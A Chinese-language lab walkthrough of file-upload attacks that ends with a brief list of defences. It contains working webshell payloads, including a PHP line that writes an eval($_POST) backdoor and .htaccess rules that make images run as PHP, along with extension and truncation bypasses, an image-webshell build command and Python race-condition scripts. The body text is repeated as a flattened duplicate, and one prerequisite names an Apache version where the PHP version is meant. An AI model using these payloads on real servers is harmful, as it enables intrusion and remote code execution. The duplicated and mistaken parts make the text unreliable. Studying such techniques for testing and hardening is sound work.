文件上传通关攻略
字数 1764 2025-08-22 12:23:41

文件上传漏洞全面攻防指南

1. 基础测试流程

  1. 创建一个PHP测试文件,内容包含攻击语句
  2. 上传该PHP文件到目标服务器
  3. 访问上传文件的路径
  4. 使用中国蚁剑等工具进行连接测试

2. 前端校验绕过技术

2.1 文件后缀校验绕过

方法1:Burp Suite拦截修改

  • 先上传合法后缀文件(如.png)
  • 使用Burp Suite抓包
  • 修改文件后缀为.php等可执行格式

方法2:禁用JavaScript

  • 直接禁用浏览器JavaScript功能
  • 绕过前端校验直接上传恶意文件

2.2 MIME类型校验绕过

方法1:修改Content-Type

  • 上传PHP文件
  • 修改Content-Type为合法图片类型:
    • image/png
    • image/jpeg

方法2:后缀名修改

  • 上传合法后缀文件(如.png)
  • 使用Burp Suite修改文件后缀为.php等可执行格式

3. 黑名单绕过技术

3.1 非常规PHP后缀

在Apache配置允许的情况下,尝试以下后缀:

  • php1, php2, php3, php4, php5
  • phtml, pht, phps

Apache配置修改

AddType application/x-httpd-php .php3 .php4 .phtml .phps .php5 .pht

3.2 Windows特性绕过

::$DATA流特性

  • 上传文件名为test.php::$DATA
  • 访问时去掉::$DATA部分

3.3 .htaccess文件攻击

当服务器未过滤.htaccess文件时:

  1. 上传.htaccess文件,内容示例:
<FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

AddType application/x-httpd-php .jpg
  1. 上传伪装为图片的PHP文件(如xxx.jpg)
  2. 访问该"图片"文件将被解析为PHP

3.4 其他黑名单绕过技巧

  1. 删除末尾点

    • 上传test.php.(服务器可能自动去除末尾点)
  2. 大小写混合

    • Php, PhP, pHp等变体
  3. 空格绕过

    • 文件后缀后加空格test.php
  4. 双写绕过

    • test.pphphp(过滤后变为test.php

4. 白名单绕过技术

4.1 %00截断(GET)

前提条件

  • Apache版本≤5.2.17
  • magic_quotes_gpc=off

操作步骤

  1. 上传s1.php文件
  2. 在路径参数中添加%00截断:
    • 修改路径为s1.php%00
    • 文件名改为s1.png

4.2 十六进制00截断(POST)

操作步骤

  1. 在POST请求路径中添加s1.php+(+号便于后续修改)
  2. 切换到Hex视图,将+的十六进制2b改为00
  3. 删除截断后的内容

5. 图片马攻击

5.1 图片马制作方法

使用copy命令

copy 77.png/b + s1.php pass14.png

手动添加文件头

  • GIF文件头:GIF89a
  • PNG文件头:PNG
  • JPG文件头:FF D8
  • BMP文件头:BM

5.2 图片马利用条件

必须结合文件包含漏洞使用:

http://example.com/include.php?file=upload/2320250109221923.gif

5.3 文件内容比较

使用010 Editor等工具:

  1. 比较上传前后文件差异
  2. 将攻击代码插入不会被删除的位置

6. 条件竞争攻击

6.1 攻击原理

当服务器采用以下流程时:

  1. 先保存上传文件
  2. 再进行后缀检查
  3. 非法则删除

利用文件保存到删除的时间差进行攻击。

6.2 自动化攻击实现

步骤1:持续上传PHP文件

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["cmd"]);?>');?>

步骤2:Python脚本持续检测

import requests
url = "http://target.com/upload/Tony.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

步骤3:蚁剑连接成功创建的Tony.php

6.3 图片马条件竞争

  1. 上传包含PHP代码的图片马
  2. 持续访问包含该图片的文件:
import requests
url = "http://target.com/include.php?file=upload/221.gif"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

7. 其他高级技巧

7.1 文件名与内容分离校验

当服务器仅校验文件名而忽略文件内容时:

  • 上传扩展名为.png但内容为PHP代码的文件
  • 直接访问该"图片"文件

7.2 move_uploaded_file特性

该函数会忽略文件末尾的/.

  • 上传test.php/.
  • 服务器实际保存为test.php

8. 防御建议

  1. 使用白名单而非黑名单
  2. 文件内容严格校验
  3. 上传目录禁用执行权限
  4. 随机化上传文件名
  5. 文件类型检查使用MIME和内容双重验证
  6. 设置文件大小限制
  7. 对上传文件进行病毒扫描
  8. 及时更新服务器软件

9. 参考工具

  1. Burp Suite - 拦截修改HTTP请求
  2. 中国蚁剑 - 网站管理工具
  3. 010 Editor - 二进制文件分析
  4. Python - 自动化攻击脚本编写

通过掌握这些技术,安全人员可以全面测试文件上传功能的安全性,开发人员则可以据此加固系统防御。

文件上传漏洞全面攻防指南 1. 基础测试流程 创建一个PHP测试文件,内容包含攻击语句 上传该PHP文件到目标服务器 访问上传文件的路径 使用中国蚁剑等工具进行连接测试 2. 前端校验绕过技术 2.1 文件后缀校验绕过 方法1:Burp Suite拦截修改 先上传合法后缀文件(如.png) 使用Burp Suite抓包 修改文件后缀为.php等可执行格式 方法2:禁用JavaScript 直接禁用浏览器JavaScript功能 绕过前端校验直接上传恶意文件 2.2 MIME类型校验绕过 方法1:修改Content-Type 上传PHP文件 修改Content-Type为合法图片类型: image/png image/jpeg 方法2:后缀名修改 上传合法后缀文件(如.png) 使用Burp Suite修改文件后缀为.php等可执行格式 3. 黑名单绕过技术 3.1 非常规PHP后缀 在Apache配置允许的情况下,尝试以下后缀: php1, php2, php3, php4, php5 phtml, pht, phps Apache配置修改 : 3.2 Windows特性绕过 ::$DATA流特性 : 上传文件名为 test.php::$DATA 访问时去掉 ::$DATA 部分 3.3 .htaccess文件攻击 当服务器未过滤.htaccess文件时: 上传.htaccess文件,内容示例: 或 上传伪装为图片的PHP文件(如xxx.jpg) 访问该"图片"文件将被解析为PHP 3.4 其他黑名单绕过技巧 删除末尾点 : 上传 test.php. (服务器可能自动去除末尾点) 大小写混合 : Php, PhP, pHp等变体 空格绕过 : 文件后缀后加空格 test.php 双写绕过 : test.pphphp (过滤后变为 test.php ) 4. 白名单绕过技术 4.1 %00截断(GET) 前提条件 : Apache版本≤5.2.17 magic_ quotes_ gpc=off 操作步骤 : 上传 s1.php 文件 在路径参数中添加 %00 截断: 修改路径为 s1.php%00 文件名改为 s1.png 4.2 十六进制00截断(POST) 操作步骤 : 在POST请求路径中添加 s1.php+ (+号便于后续修改) 切换到Hex视图,将 + 的十六进制 2b 改为 00 删除截断后的内容 5. 图片马攻击 5.1 图片马制作方法 使用copy命令 : 手动添加文件头 : GIF文件头: GIF89a PNG文件头: PNG JPG文件头: FF D8 BMP文件头: BM 5.2 图片马利用条件 必须结合文件包含漏洞使用: 5.3 文件内容比较 使用010 Editor等工具: 比较上传前后文件差异 将攻击代码插入不会被删除的位置 6. 条件竞争攻击 6.1 攻击原理 当服务器采用以下流程时: 先保存上传文件 再进行后缀检查 非法则删除 利用文件保存到删除的时间差进行攻击。 6.2 自动化攻击实现 步骤1:持续上传PHP文件 步骤2:Python脚本持续检测 步骤3:蚁剑连接成功创建的Tony.php 6.3 图片马条件竞争 上传包含PHP代码的图片马 持续访问包含该图片的文件: 7. 其他高级技巧 7.1 文件名与内容分离校验 当服务器仅校验文件名而忽略文件内容时: 上传扩展名为.png但内容为PHP代码的文件 直接访问该"图片"文件 7.2 move_ uploaded_ file特性 该函数会忽略文件末尾的 /. : 上传 test.php/. 服务器实际保存为 test.php 8. 防御建议 使用白名单而非黑名单 文件内容严格校验 上传目录禁用执行权限 随机化上传文件名 文件类型检查使用MIME和内容双重验证 设置文件大小限制 对上传文件进行病毒扫描 及时更新服务器软件 9. 参考工具 Burp Suite - 拦截修改HTTP请求 中国蚁剑 - 网站管理工具 010 Editor - 二进制文件分析 Python - 自动化攻击脚本编写 通过掌握这些技术,安全人员可以全面测试文件上传功能的安全性,开发人员则可以据此加固系统防御。